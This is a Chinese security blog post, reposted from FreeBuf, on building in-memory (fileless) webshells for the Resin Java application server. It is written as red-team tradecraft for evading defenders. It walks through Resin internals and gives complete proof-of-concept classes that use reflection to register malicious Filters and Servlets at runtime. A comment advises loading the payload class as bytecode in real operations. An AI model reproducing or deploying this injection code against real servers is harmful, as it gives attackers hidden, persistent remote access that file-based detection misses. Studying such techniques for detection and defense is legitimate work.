Resin内存马逆袭之路

admin 2022年10月22日17:46:06评论31 views字数 7234阅读24分6秒阅读模式

 前言 


故事还是要从很久很久以前说起,红蓝对抗越来越激烈,常见的免杀Webshell文件已经逃脱不了蓝队大佬的火眼金睛了,函数混淆的花里胡哨最后还是能被轻松分析,所以早在很多年前,就已经进入了内存马的时代,内存马是一种新的无文件的Webshell类型。市面常见的内存马都是针对Tomcat、Spring的,直到有一天我遇到了某微,落地的Webshell文件被乱揍,于是开启了Resin内存马学习之路。


 关于Resin 


首先了解一下Resin是个啥,Resin是CAUCHO公司的产品,是一个Application Server,支持Servlet和JSP的引擎,速度非常快,并且可以和Apache、IIS等其他WEB服务器一起工作,也支持负载均衡,所以许多站点都是使用该WEB服务器构建的。


 调试环境搭建 

IDEA:2022.2

Resin:4.0.58

JDK:JDK8u261


工欲善其事必先利其器,先本地搭建环境调试一下,搭建环境发现官方的下载地址各种被Ban,不明所以,不过最后还是搞到了包。


IDEA直接创建Resin,如果没有的,去IDEA装一个Resin的插件就好了,Configuration选择我们下载好的Resin环境包。


Resin内存马逆袭之路


后面生成一个war包就好了。


Resin内存马逆袭之路


导入resin/lib,方便我们后面调试。


Resin内存马逆袭之路


修改resin/conf/resin.xml文件中的<web-app id="/" root-directory="绝对路径"/>,修改一下默认解析目录。

IDEA启动。


Resin内存马逆袭之路


 分析过程 

 

常见的动态注册内存马有Listen、Filter、Servlet几种方式,不管是哪种内存马都需要先获取上下文对象,上下文对象需要通过request获取,一般request会存储在当前线程对象中。


Filter

Tomcat等一般都可以通过:

javax.servlet.ServletRequest.getServletContext()方法直接获取,但是Resin行不通,那就先看在Resin的堆栈翻一下。

doFilter:19, Main (com.test)doFilter:89, FilterFilterChain (com.caucho.server.dispatch)doFilter:156, WebAppFilterChain (com.caucho.server.webapp)doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)service:304, ServletInvocation (com.caucho.server.dispatch)handleRequest:840, HttpRequest (com.caucho.server.http)dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)handleRequest:1323, TcpSocketLink (com.caucho.network.listen)handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)handleRequests:1215, TcpSocketLink (com.caucho.network.listen)handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)runThread:117, ConnectionTask (com.caucho.network.listen)run:93, ConnectionTask (com.caucho.network.listen)handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)run:61, TcpSocketAcceptThread (com.caucho.network.listen)runTasks:173, ResinThread2 (com.caucho.env.thread2)run:118, ResinThread2 (com.caucho.env.thread2)

(向右滑动,查看更多)

找到:

service:304, ServletInvocation (com.caucho.server.dispatch)


Resin内存马逆袭之路


com.caucho.server.dispatch.ServletInvocation#getContextRequest()可以获得一个ServletRequest对象。


Resin内存马逆袭之路


通过反射获取一下ServletRequest对象。


ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);

下面就需要找哪里可以动态注册恶意Filter了,再看一下堆栈信息,这里有WebApp属性包含了_filterManager_filterMapper


Resin内存马逆袭之路

Resin内存马逆袭之路


WebAPP的类继承关系,WebApp最终还是继承自ServletContext我们可以强转子类,将ServletContext强转成WebApp。


Resin内存马逆袭之路

Resin内存马逆袭之路


获取WebApp对象。


WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);

看一下_filterManager包含_filters以Map形式存储FilterConfigImpl对象,_urlPatterns存储了,Filter名和Filter对应的URL。


Resin内存马逆袭之路


URLPattern对象可以通过FilterMapping#createUrlPattern()获取。


Resin内存马逆袭之路


FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();            urlPattern.addText(url);

(向右滑动,查看更多)


_filterMap以List的形式存储FilterMapping对象,FilterMapping存储着URL和filter的对应关系。


Resin内存马逆袭之路

//获取_filtermanager            Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");            filtermanager_field.setAccessible(true);            FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);            //获取_filters            Field filters_field = filterManager.getClass().getDeclaredField("_filters");            filters_field.setAccessible(true);            HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);

(向右滑动,查看更多


Resin内存马逆袭之路


POC

public class TestFilter extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse res) {        String filtername = "FilterShell";        String url = "/filter";        Class clzz;        try {            //获取request对象            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);            //获取webapp            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);//            //获取_filtermanager//            Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");//            filtermanager_field.setAccessible(true);//            FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);//            //获取_filters//            Field filters_field = filterManager.getClass().getDeclaredField("_filters");//            filters_field.setAccessible(true);//            HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);            clzz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");       //方便调试,实战换成defineClass加载字节码            FilterMapping filterMapping = new FilterMapping();            filterMapping.setFilterClass(clzz.getName());            filterMapping.setFilterName(filtername);            FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();            urlPattern.addText(url);            webApp.addFilterMapping(filterMapping);            res.getWriter().write("Resin Filter Inject Success!!");        } catch (Exception ignored) {        }    }}

(向右滑动,查看更多


Servlet


获取request对象过程复用上面Filter的。

ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);

(向右滑动,查看更多


自实现一个Servlet,看一下调用栈中的几个关键属性_serlvetName

_servletClassName、_servletClass、_urlPatternsdoGet:20, TestServlet (com.test)service:120, HttpServlet (javax.servlet.http)service:97, HttpServlet (javax.servlet.http)doFilter:109, ServletFilterChain (com.caucho.server.dispatch)doFilter:156, WebAppFilterChain (com.caucho.server.webapp)doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)service:304, ServletInvocation (com.caucho.server.dispatch)handleRequest:840, HttpRequest (com.caucho.server.http)dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)handleRequest:1323, TcpSocketLink (com.caucho.network.listen)handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)handleRequests:1215, TcpSocketLink (com.caucho.network.listen)handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)runThread:117, ConnectionTask (com.caucho.network.listen)run:93, ConnectionTask (com.caucho.network.listen)handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)run:61, TcpSocketAcceptThread (com.caucho.network.listen)runTasks:173, ResinThread2 (com.caucho.env.thread2)run:118, ResinThread2 (com.caucho.env.thread2)

(向右滑动,查看更多


Resin内存马逆袭之路

Resin内存马逆袭之路


还是先获取WebApp

WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
(向右滑动,查看更多


ServletMapping存储着URL和Servlet的对应关系。


Resin内存马逆袭之路


动态添加思路类似Filter。

ServletMapping servletMapping = new ServletMapping();            servletMapping.addURLPattern(url);            servletMapping.setServletName(servletname);            clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");            servletMapping.setServletClass(clazz.getName());            webApp.addServletMapping(servletMapping);

(向右滑动,查看更多


Resin内存马逆袭之路


POC

public class TestServlet extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {        String servletname = "ServletShell";        String url = "/servlet";        Class clazz;        try {            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);            ServletMapping servletMapping = new ServletMapping();            servletMapping.addURLPattern(url);            servletMapping.setServletName(servletname);            clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");            servletMapping.setServletClass(clazz.getName());            webApp.addServletMapping(servletMapping);            res.getWriter().write("Resin Servlet Inject Success!!");        } catch (Exception ignored) {        }    }}

(向右滑动,查看更多

Resin内存马逆袭之路



精彩推荐








Resin内存马逆袭之路Resin内存马逆袭之路Resin内存马逆袭之路Resin内存马逆袭之路

原文始发于微信公众号(FreeBuf):Resin内存马逆袭之路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月22日17:46:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Resin内存马逆袭之路https://cn-sec.com/archives/1365322.html

发表评论

匿名网友 填写信息